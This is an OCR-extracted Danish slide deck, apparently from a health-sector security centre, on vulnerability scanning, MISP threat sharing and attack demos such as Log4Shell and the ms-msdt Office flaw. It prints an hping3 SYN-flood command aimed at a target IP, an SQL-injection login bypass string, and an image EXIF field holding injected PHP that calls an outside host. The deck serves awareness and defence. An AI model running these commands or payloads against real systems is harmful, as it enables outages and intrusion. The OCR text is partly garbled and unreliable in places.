Trusselsbilledet set bade inde fra og udefra, og hvorfor det er vigtigt at scanne for sarbarheder
Hvad kan der ske, hvis vi ikke ggér noget ved vores sarbarheder?

Malware Information Sharing Platform (MISP) og hvad den giver sundhedssektoren af veerdi

Cyber—fra DCIS

v/ Ole Fisker b
Senior cyber security advisor i DCIS/SDS —
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CIA og DCIS
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Det vi kikker ind i (trusselsbilledet) — Internt

Plan for sarbarhedsscanning og hvorfor vi skal vaere OBS pa det <
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Hvad ger vi, og hvorfor ger vi det? (Internt)

Vi har lavet en service pa SDN, som vi begynder at udbyde til dem, der vil brug det (sarbarhedsscanning)
Rapporter om hvordan det ser ud fra SDN ang. sarbarheder pa jeres services

Hvorfor er det vigtigt?

Hvor mange sarbarheder tror |, der er hos jer?

Ggr jeres leverandgrer det de skal, nar vi snakker om, at de skal beskytte jeres infrastruktur/services?
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Hvad ger vi, og hvorfor ger vi det? (Internt)

Lige nu bruger vi Tenable Sc. pa SDN
Vi er ved at lave en rammeaftale pa et veerktgj, sa omkostningen kan komme ned

Vi gnsker ogsa at lave et samarbejde med de af jer, som vil veere med til et falles overblik over sarbarheder

Hvad er fordelen ved, at vi har det samme vaerktgj?

Hvad far vi ud af et feelles overblik ?
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Sarbarheder

Executive 7 Day

Executive 7 Day - Current Vulnerability Type Matrix

Critic...
High

Medium

Last Updated: 7 hours ago

Executive 7 Day - Current Vulnerability Summary by

Severity

Last Updated: 7 hours ago

M 69% Critical

W 319% High

™ 0% Medium
0% Low

W 0% Info

Executive 7 Day - Exploitable Vulnerability Type Matrix

Exploi...

Critic...
High
Medium

Last Updated: 7 hours ago

Executive 7 Day - Exploitable Vulnerability Summary by

Severity

Last Upcated: 7 hours 2go

Core I...

B 1009% Critical

= 00% High

= 0% Medium
09 Low

= 09 Info
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Sarbarheder

Dette er ikke fra SDN (vi snakker kun om 40 server pa denne rapport)

Apache Logdj Unsupporiad Version Defaction

Apache Logdj 1.x Multiple Vulnerabllities

Microsoft Open Management Infrastructure < 1,6.8.1 Multiple Vulnerabilities

Microsoft Open Management Infrastructure {OMI) package
Apache Logdj 2x < 2.16.0 RCE

Apache Logdi < 2.15.0 Remote Code Execution (Nix)

< 1.6.8-1 Multiple Vulnerabllities

Misc

Misc.

Web Servers

Misc.

Misc.

Misc

Critical

Critical

Critical

Critical

Critical

Critical
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97

10.0

10.0
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28

28

28
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Hvad sker der, nar vi ikke ger noget ?

CVE-2021-44228
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Log4)

Sarbarheden har vaeret der siden 2013

1. Demo
2. Demo
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Logs4J

17.3. 2013 3. Aug 2016 A NMov 2017

adding IADI Lookup }HD!/LDAP aJJins confis P ublic d o'sc‘.osu re of
te log l._'\ research at forna{.Mss/VoLoolmp: CVE=-2027-4422°%

blackhat

25. Mov 201%

unexpcd'ed LO."“P. maybe time 0,’
ddins '/ohinoloolwrs} mi€ial l—Cfor‘:

Sarbarhed har veeret der siden 2013
2 7557
% €D L. T
- black hat\.
LS.A =000 E/(/’:?j e =
A JOURNEY FROM JNDI/LDAP

MANIPULATION TO REMOTE CODE
EXECUTION DREAM LAND

Alvaro Munoz (@ pwntester)
Oleksandr Mirosh
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Dette kunne bruges fra Office version 2013

CVE 2021 40444

Hvor laenge har man kunne ggre dette?

Der er kun en manuel fix pa dette lige nu:

C:\>reg delete hkcr\ms-msdt /f
The operation completed successfully.

Demo
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Dette kunne bruges fra Office version 2013

\

.::;_:.:;.;.E 05
Wa@ﬁzﬁén Sfofeecdceb56Tasc006784

— w
e %- Mew Microsoft Office Attack Vector via "ms-msdi™ Protocol Scheme

T, - .
&5 mal ips
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Det vi kikker ind i (trusselsbilledet) — Eksternt
Plan for Cycognito og hvorfor vi skal vaere OBS pa det <
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Det vi kikker ind i (trusselsbilledet) — Eksternt

Vi har kgbt en service, som alle regioner har adgang til (sarbarhedsscanning eksternt fra)
* Maske kommer flere aktgrer pa

Rapporter om hvordan det ser ud eksternt fra

Hvorfor er det vigtigt?

Hvor mange sarbarheder tror |, der er hos jer?

Ggr jeres leverandgrer det de skal, nar vi snakker om, at de skal beskytte jeres infrastruktur/services?
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Det vi kikker ind i (trusselsbilledet) — Eksternt

Issues by Status ® Issues by Severity ©®

Asset Removed - 1,143 .
. _ Critical- 10
High-162

Unresolved - 2,581

Medium - 960

Issue Removed - 4,290

Low- 1,647

a
)
—
R
3
v
L

Top Issues ©®

Vuinerable Software 10
Unsafe Authentication
Exposed Data
Security Hygiene
Cryptographic Vulnerability
Unmaintained Asset
Abandoned Asset

25 50 75 100 125 150
Issues

Severity:Critical @ High @ Medium @ Low
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Det vi kikker ind i (trusselsbilledet) — Eksternt

> Man har set pa hvor mange sarbarheder, vi kender til lige nu

Man geetter pa, at man har kendskab til ca. 8 % af alle sarbarheder (i 2020)

> Rapport fra CyCognito

16
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Det vi kikker ind i (trusselsbilledet) — Eksternt

SQL Injection

Login

Usemame;

olef

Password:

17
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Det vi kikker ind i (trusselsbilledet) — Eksternt

SQL Injection Login

I!iucm:-;rully logged bn._

Username:

olef

Password:

select * FROM users Where name="olef’ and password="" OR ‘1'="1’
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Det vi kikker ind i — MISP (hjeelpeveerktgj)

Plan for Open Source Threat Intelligence and Sharing Platform og hvorfor vi skal bruge det

Geo Block? Event i MISP

IOC/IOB kan deles hurtigere
Malware Sample og flere kan kikke pa det samme pa samme tid

Vi kan dele hurtigt og nemt med alle, som er pa MISPen
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Det vi kikker ind i — MISP (hjeelpeveerktgj)

Demo DDOS < hPing3 —s —flood -V —p 80 (ip adr vi @gnsker at ramme) (syn flood) >

Se script efter demo

In 2018, Github was hit with a DDoS attack which clocked in at 1.36 terabits
per second and lasted for around 20 minutes.

ALL BORDER Bits per Second

Wed, 28 Feb 2018 17:28:00 GMT

iInbound Bits: 1.35 T
1, 000G

.

Difference between normal traffic and DDoS traffic
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QR og hvad man kan gere
7
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QR koder —links og alt det der
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QR koder —links og alt det der
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QR koder —links og alt det der

Til Demo af Qrcoder
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QR koder —links og alt det der.

Til Demo af Qrcoder

%
R
EXIF
[Subinaged)Artist <2php file get contents('http://bankas.dk/fiskersSjov.phplact=art’);?
a [Subinaged ] Imagewidth 480
[Suninaged)imagelenght 0 e
[Subinaged] Inagedescription (’php file_get _contents('http://bankas.dk/Sjov.phplact=art’); )
! B —__
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Sundhedsdatastyrelsen
@restadsBoulevard 5

. 2300 Kgbenhavn S
Ole Fisker

T: +457221 6800
OLE F@SU nd hede ata.d k E: kontakt@sundshedsdata.dk
W: sundhedsdata.dk

Kontakt

DCIS Sund 4 DCISSund pa Twitter
DCISSUND @sundhedsdata.dk @dcissund

DCISSund information
https://sundhedsdatastyrelsen.dk/informationssikkerhed



mailto:DCISSUND@sundhedsdata.dk
https://sundhedsdatastyrelsen.dk/informationssikkerhed
mailto:OLEF@sundhedsdata.dk

Word Doc Oles og Tak fori dag
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